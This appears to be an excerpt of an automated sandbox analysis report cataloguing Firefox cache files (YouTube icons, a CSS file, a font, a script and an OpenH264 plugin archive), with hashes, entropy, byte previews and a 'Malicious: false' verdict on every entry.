Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 4228120576
Category:	dropped
Size (bytes):	8888
Entropy (8bit):	6.660491011441017
Encrypted:	false
SSDEEP:	192:8h9cQuDx2e2Z4MuyrQqze2Z4MuyrQqCNbZovzcdXY1Mld4Y1MZ:8hWDke2Wcne2WcGAQXVH4VZ
MD5:	C99F3525D3AA9FACE2168B678BD547E0
SHA1:	21BD610D8345E0F9E998F4F888114D9E25B2AC39
SHA-256:	3366215308FEFADD26C5B241B3042F3DFD2482FD184CF0E0B2B01FC5347D1243
SHA-512:	45D7D514A004264ECE518CAA3F93B5C037DE99A9C535D1098A0B8429B66893A101A9408CDB0569327CBD00982683FBA08AF62AEF4F98DF4E2E26AC1E806EEBDC
Malicious:	false
Reputation:	unknown
Preview:	...........k..H...........t..x..Am.....(....BQ'.....3..M.....u.[....Z......R....s....n.k..V.i..c.....<..e..K..mr.T..G.O.\|..=i.L=..c./I...V....\..E_..,HP`.....\|F.d({.....s..Q 2B=.\?....>.C.Y~...C.........A..{TdO...p.>B.0..o...../....#1...:...@I...e:\........].w..6..... 8?....l.a...nn..v.HW.....T0x.k...g...$N.6.rmk.dY. .Vo.Hx...2LU?.1...N.....K.H..!z...M...t;R......ml~.K.....^.....K4..hr3.'...ttU...;aO.jy..U.<:."R%{........X:.S%.>q]4...g~...,N...h..n..l.I>.9..uY...{......=q/.`Lkd.'.-.h...<.y.H'...c..4.KK.........Me...CU.Z..T.!J..s=.o.V..5.U.....[.S.....&.qo.L...G..&8E#../..p.7..6......w.,.O(...z..sk.\|^.9......'E.....ey.d.":..f...2.......N..,...)...+.).......bj.?hu?7.ND`27.=.p\...k....`..w.....F.#...ElQe.9...X....X~..^f.oX(....{..\|.].$."7.8].&u.......'...&`....e~V..F.....i(C....Q.(...xt!.eI...a.."d.`.A........... zp .@.C.. ..............#...{.....7...F.)^....9.tcm....;.9...."c....d.w.d....ND=$.w?.\.6.7o@.......F.M.9...cG...F.B....SM......

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\70DE259D3055F51A1BEBD035A0E461EC8E9213A5

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	25798
Entropy (8bit):	6.113724277988752
Encrypted:	false
SSDEEP:	384:JUEoCNL6pNRG0vDn9Iz1USqKZHIw857nVqN4mAQlpmVTaId2fea:7oyWpNRxDe5p8V4AQlpmZa82fD
MD5:	3587B48072AB3F2C04E9864E16C30CCC
SHA1:	942B39ECC87D61117A9C83CDF7E3CE9EBA9F7A23
SHA-256:	C7265E96DE4EFD13DEF93EBB88B502172D13EFAF979C58E468A664D7EF980C98
SHA-512:	C2C9890E8B3809DA694D8BA8C8232813018821A43C1798D9082408BB09DF12092E7F403FDBD487B391393FF10A4CC07BF56EC6B7D0A994088FAA1216D8C0BD43
Malicious:	false
Reputation:	unknown
Preview:	(function(){'use strict';function n(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var p="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function q(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var r=q(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var e=0;e<a.length-1;e++){var h=a[e];if(!(h in c))break a;c=c[h]}a=a[a.length-1];e=c[a];b=b(e);b!=e&&null!=b&&p(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(l){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(e+(l\|\|"")+"_"+h++,l)}.function c(l,m){this.g=l;p(this,"description",{configurable:!0,writable:!0,value:m})}.if(a)

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\752B0BB88FD208F61776B49913B5C8116C349E18

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2650800128
Category:	dropped
Size (bytes):	9580
Entropy (8bit):	6.158014459078992
Encrypted:	false
SSDEEP:	192:GhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEvEC:rzwHUL75Vf8eehqrufWWCt2BVlMt
MD5:	845A4BCC77A57C17686248438B5A0B38
SHA1:	7B6268184F037F218C494529AB7DA604D03EBC8F
SHA-256:	235A3AA7218FD511571B5A022DB5B3CF6B167672B8108012576EA30F287C8D26
SHA-512:	C52765F8ECD22D68E729CA7B8ECB6E8E9C7C33C0DB0334805F8995D5ADA8A5BB2687DBE9DB87A0F5263AB66FD65288D5C373CD9BF2F53055028EB396E6F9832B
Malicious:	false
Reputation:	unknown
Preview:	..........5.... .E.........x.....3.u.?...=...v....y.......Yr/.'(.Z......bq...=M....4...8.J<mo.<.C^`.i)....6t.U...+.m0.x..........-...$...D.By.>.?+.O.....}%ta{;........e.due.dvFv..g..+...p....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/arrow_down/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAW

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\7715D49B830B1D00299FB68C64155E54BDF25BA7

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	16017
Entropy (8bit):	6.071459374614887
Encrypted:	false
SSDEEP:	384:lVQzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVgaWaq:z6gdjAudZNL28eehq4w2BVpnq
MD5:	35534867144DDE15A7153327EEA2F956
SHA1:	EB0574FE2AA1D371407273A86637F2F835E2B1EA
SHA-256:	B04ABE6128295F220FC667B7D0BF04A7DE2082AA75686E9E89B3AF35D1FDFF36
SHA-512:	8E28D5AD69AFB6ACF99FFCA3F6B7FF89C91C851FC46D87E4C01E718D8D1DDE6E0D8BB8602737EEE196327B923E3A39DC80B4876005E960D783A6EE1F75C14526
Malicious:	false
Reputation:	unknown
Preview:	.... ..R%.\.%sv.....}...ht~..s..P..6].A...ro....-FY..-..N....(".....T.."..Y...m.b. = ...UU...:5.-.i>..gj....$.g#..]...........:K5a./f. .U.H..t....:..7.D...F....fAl'.}..e......q.8.9..X..r......;. .....F.*.A......n.Y......}..$0z....N.v.D.....N......r.........e.dKe.dKFv..g.!....k....O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/s/desktop/80338919/cssbin/www-onepick.css.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAA51MIIOcTCCDVmgAwIBAgIRAJzbVJkabEyACozv2aKHNfcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwMzMxWhcNMjQwMzA0MDgwMzMwWjAXMRUwEwYDVQQDDAwqLmdvb2dsZS5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT2TiGO71kgiEbVMbAaoUp1ywATuh4sUKXGRZFPdq6Q2pbAepejEWfHbeXgzw1y6aXjQMdqhGTHNL8fxjFh0Wa5o4IMUjCCDE4wDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQ

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\7A48B98D1029EDC82AC921811EF1138D417DEBF1

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4143972352
Category:	dropped
Size (bytes):	9660
Entropy (8bit):	6.211320183691396
Encrypted:	false
SSDEEP:	192:AhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE6VME6V4:JzwHUL75Vf8eehqrufWWCt2BVldMd4
MD5:	9D95026E9270C4E3F8A41579EE135A46
SHA1:	7E124700B39CC6DC56A66C88B99FD035DEAAADC4
SHA-256:	A55E5173DEFD0908B51E761F95765A33E6486DF31F2FE3330BC464B221B27A2D
SHA-512:	CD784B3F32C77D20E760A2D8B058CABDD2D32A80840459CABCC26670042880127DF381E0F14EBDE6B73B14CB5702B2D402927AEC2CB88286756B7F1E3B17A964
Malicious:	false
Reputation:	unknown
Preview:	..........M..n. .._e.5,?6..C{.....2V.;.]...]U....>$.=M....x.....9c6....R.'.....\|......^:......<..q.....<.....~./G....v:"0.C.....h....$.].k...j%......&.Y..i.t....-/...@...h.Aq...-...a.\|T{..)...?U..&...b...A.9.M.-.RS?E..c..F.6g@...2Z...........e.dqe.dqFv..g.q`...g....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/bell/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEF

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\7D140FC8B10FA0CFC53F8E57E0114852088512C9

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	dropped
Size (bytes):	24005
Entropy (8bit):	7.766743208707638
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK792cUqNlVLv2WzDlTaIdiKvKk:p7EJ5E2bJwi5jLwK792hizJzDpa8iaX
MD5:	9B9FD1B018FA87F0DD778F61A851186B
SHA1:	E4FC469A58E806D75500578976C8AE5040A57ABA
SHA-256:	BB6A749D204A6E0CABA65188B557659A529B25FC0435FABAFAB43F16FB46FD92
SHA-512:	CEBF8B488EE40FC162D05483FCD55B7508E5BAC61ABD715D24FD266B31717793F5792A1976A44730218704BB263A666E1827BAE56F03AA606DDC8DB2E2E09324
Malicious:	false
Reputation:	unknown
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\7F334BF48D7CD3F25A07280775312602672A427C

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2600468480
Category:	dropped
Size (bytes):	9579
Entropy (8bit):	6.158791045034418
Encrypted:	false
SSDEEP:	192:01hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEpEz:0+zwHUL75Vf8eehqrufWWCt2BVl6Q
MD5:	9F48D0F8DBCACC6363B113C15B5FBC87
SHA1:	FA82DB632337B5BBEADD15BC85FEEF9E62A88854
SHA-256:	0A6524369DEFD33652C6965DB058AECF49D40E7E781F07C3A6B0C0F343A1911F
SHA-512:	DE52D0C14C98B48CE3C5400AD0229B68A5CC9F230DB1DF78D4CDDD3383945E826D088C5C953BC6AE37EB1EADF6435B98237BCBF0B7031F9C79A9633355CAB7BF
Malicious:	false
Reputation:	unknown
Preview:	..........M.1..0........YE.eprqu`3.p$..4-?......}/y.....4o.%...uJ.H.b....H..... .![.8.............M...@..i.`...S.V.T...Y.^e.U......'..........a.....Y../r........e.due.duFv..g.:....r....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/list_play_arrow/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\7FD32BE023679D12B3EAC9C2898094A571DEF463

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 285278208
Category:	dropped
Size (bytes):	9692
Entropy (8bit):	6.212172371157337
Encrypted:	false
SSDEEP:	192:f9q3hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEUEH:f9q0zwHUL75Vf8eehqrufWWCt2BVlDU
MD5:	85CC3B6F6F41E66BB268DE9BFC4A13DC
SHA1:	04BCCD406A7C3097EC628B37FB475867E02CCC99
SHA-256:	FFB380021848DF99872F17802873DC72F412A77001CD7C12AF12A287B551B0A8
SHA-512:	FAAC2BCDDAAFE831213BE770B5153A45AFA027A96D51B62D7D6AEE076A163FFF4551F3F26BEF074E6F3627691EE6090DB930B82284D778E61E83F77B05D4E584
Malicious:	false
Reputation:	unknown
Preview:	..........=P.n.0....wH.-k..a{....i....j2....g..2....wS..y..Va...H)Q2t{.........a......{.j..q...>...k<o..A).....x....Y..RA.....w.v.p.U..x.6".w6d<8.....Y.D&F..6...A...9G.. O..!.5f6HGdY.a.M....2.QKb2....ff....'....:{EF.W..!..F..C..*...h~.u@..b........t......N4........e.dqe.dqFv..g......m....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/fashion/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\7FEF50EB1C89E58D7202896295BED2C7C56D1C99

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	454009
Entropy (8bit):	7.997758417346497
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe/:tEsed2Xh9/bdzZe/
MD5:	9AFD2707FF9379B74D653D20033E510E
SHA1:	26CB175629226D33DB6EE10C9C39D50B7072BDC5
SHA-256:	4845BF48B769CF7A89D2411AC7B58514D33AF0D41295CA868AC02B175007D154
SHA-512:	B99B6258D83324E6394FE5032F2E4857017E89CF69EE9B0A316C22BAC3E30924CFF6606C912DE1B0B27FE8790FA23527529D72057028052437AA920A53F6ADD4
Malicious:	false
Reputation:	unknown
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\80052A882C2BC1AD77D357D3CB5F6A42DE5193F2

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2969567232
Category:	dropped
Size (bytes):	9596
Entropy (8bit):	6.169964284110789
Encrypted:	false
SSDEEP:	192:QZhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEdE9:tzwHUL75Vf8eehqrufWWCt2BVlgg
MD5:	633550091E9C6E6FCBB99C823E321B31
SHA1:	441CE24F68C807058FD288859B4EB81BEDEF3E66
SHA-256:	4A0C1445428628311F720E85F573AA60B1D8723DE9F4BC4C48D448346AE09149
SHA-512:	15B31917A680629505EE028FF760D3B1C5EB451AA795B1CE2EFDB1D7F3E0A1E8C2B96EA2B7F82AFE0B31780E084D4420743CA8AF4376356DCF78E8589A6A8EA0
Malicious:	false
Reputation:	unknown
Preview:	..........M....0.D.e.{..Bk....^..4...@..w.d.L2.l6S,k..k..e>..,DJ.....JJ)..u38..g7...Z.\.I........=..K.q..O}..........])...P...?a..xF...@c..@.D..z.+.....7._2...........$........e.dve.dvFv..g..E...o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/rating_up/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsC

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\80FE1A763104BFB3D9DB49332FEF7178DEB18AE5

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4177526784
Category:	dropped
Size (bytes):	9664
Entropy (8bit):	6.210708814095962
Encrypted:	false
SSDEEP:	192:1q9hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEfEC:MGzwHUL75Vf8eehqrufWWCt2BVlMV
MD5:	1AD07990B86F636A11FB0F4074F6CF41
SHA1:	5BEFEE917F868EC359FFAE0F75A20C62D23717E6
SHA-256:	3C220AED8466175A57827466375E04323694F351C2D12338BF4F1347AD2311CE
SHA-512:	5909949114C01E5EB1D60A8BBFE261FBEFA9B5B2DE6286447EB8CC40DDE6038F89D06CE53DC53B37E5B17E7EB6A3C36A93066186E10F7BBE96B53023F09A8E35
Malicious:	false
Reputation:	unknown
Preview:	............Mo.0.....{L. ..8..;M....Q..T..9..v.......}H.....0-%..z..".=...{.)!DD.........ww...dS.A.Q.]...;..,..[...%......\..f.@+F.1. ...9(4G...@.q..!..@...p..).}n......S.v\..%.N..Blc.)..G....S.:{U.eg..R.....6.<.c...4d6.?.XT..c..o.....>..!..........e.dqe.dqFv..g.....i....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/gaming/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggr

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\81798D7DC6CF74AF9C387B92414A7634FDF376ED

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2415984640
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	6.280012848823915
Encrypted:	false
SSDEEP:	192:dhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEiEo:mzwHUL75Vf8eehqrufWWCt2BVBVD
MD5:	9B225370A55BBE6336774FDF6AC138D5
SHA1:	F2FB56A5A9945E48A1E4ECF91770018635E50042
SHA-256:	2E5630909E4DB89B2A689663E079508C5EDFEB127100C25374BFB432909C52F9
SHA-512:	9504D26864A6F10F98CEB243D2F0C32E02968EF3F43C8E9809C28E3CCB822241F2D3BC1FD46324C633303308479BC6B80461E9B1411FDF88165A2BF4D893F8AB
Malicious:	false
Reputation:	unknown
Preview:	..........dR..:.....}.;~\.........h......A....u.VV.9..z..uwz<>...i.8..?.^..}{...........?.....a...<<4Bc...<......\|........t><N.x..7......I..P.+.).9u....M..:..CBb.............4I.6..@.P....E......DUDH..Um..ZS.....\|.e...&.u..d......h..F...Fp....%C..IM6..hs..[gn...w.RQ)....61........6..J...H.^...dr"(..].1&..%..%..L..I;p..,.f...,oL0..Pa./.%3(dX\|-.)-..Sqf.a{.a....7+..6.......<......].m\|..........e.due.dvFv..g.l....m....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/radar_live/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\81E231EB28C972DA71A1E20176D3FE400A042FCC

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 906035200
Category:	dropped
Size (bytes):	9726
Entropy (8bit):	6.2365564097899515
Encrypted:	false
SSDEEP:	192:H3rhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEqEE:4zwHUL75Vf8eehqrufWWCt2BVllD
MD5:	BFFC1F2136C7450F4431FCD3384BEAA5
SHA1:	3019AFB96AEBD81C7DE70CF149620EE41E86A04B
SHA-256:	7C0907AF30DFBC97FC767C1657CD483D8135AD47E224D042570E0E11DEC0F825
SHA-512:	0BFB3D21A68D83EAD2DC579058B1A054058A07FA7D9CB66EFCFEC65BD78DC40B7846F5C0AD112CE8CE48D04EE69ABA62085E58E2B65674F723549B6DF8306350
Malicious:	false
Reputation:	unknown
